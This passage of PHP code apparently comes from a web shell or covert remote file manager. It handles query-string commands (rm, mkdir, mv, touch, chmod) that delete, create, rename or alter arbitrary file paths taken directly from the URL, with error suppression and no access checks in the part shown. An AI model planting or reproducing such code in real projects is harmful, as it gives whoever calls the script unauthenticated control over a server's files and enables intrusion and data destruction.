dfile($p);
            exit;

        case 'rm':
            $p = isset($_GET['p']) ? $_GET['p'] : '';
            if (!$p || !file_exists($p)) { echo '{"e":"not found"}'; exit; }
            $ok = is_dir($p) ? @rmdir($p) : @unlink($p);
            echo json_encode(array('s' => $ok ? 'ok' : 'fail'));
            break;

        case 'mkdir':
            $p = isset($_GET['p']) ? $_GET['p'] : '';
            if (!$p) { echo '{"e":"no path"}'; exit; }
            $ok = @mkdir($p, 0755, true);
            echo json_encode(array('s' => $ok ? 'ok' : 'fail'));
            break;

        case 'mv':
            $s = isset($_GET['s']) ? $_GET['s'] : '';
            $d = isset($_GET['d']) ? $_GET['d'] : '';
            if (!$s || !$d) { echo '{"e":"missing params"}'; exit; }
            $ok = @rename($s, $d);
            echo json_encode(array('s' => $ok ? 'ok' : 'fail'));
            break;

        case 'touch':
            $p = isset($_GET['p']) ? $_GET['p'] : '';
            if (!$p) { echo '{"e":"no path"}'; exit; }
            $ok = @file_put_contents($p, '') !== false;
            echo json_encode(array('s' => $ok ? 'ok' : 'fail'));
            break;

        case 'chmod':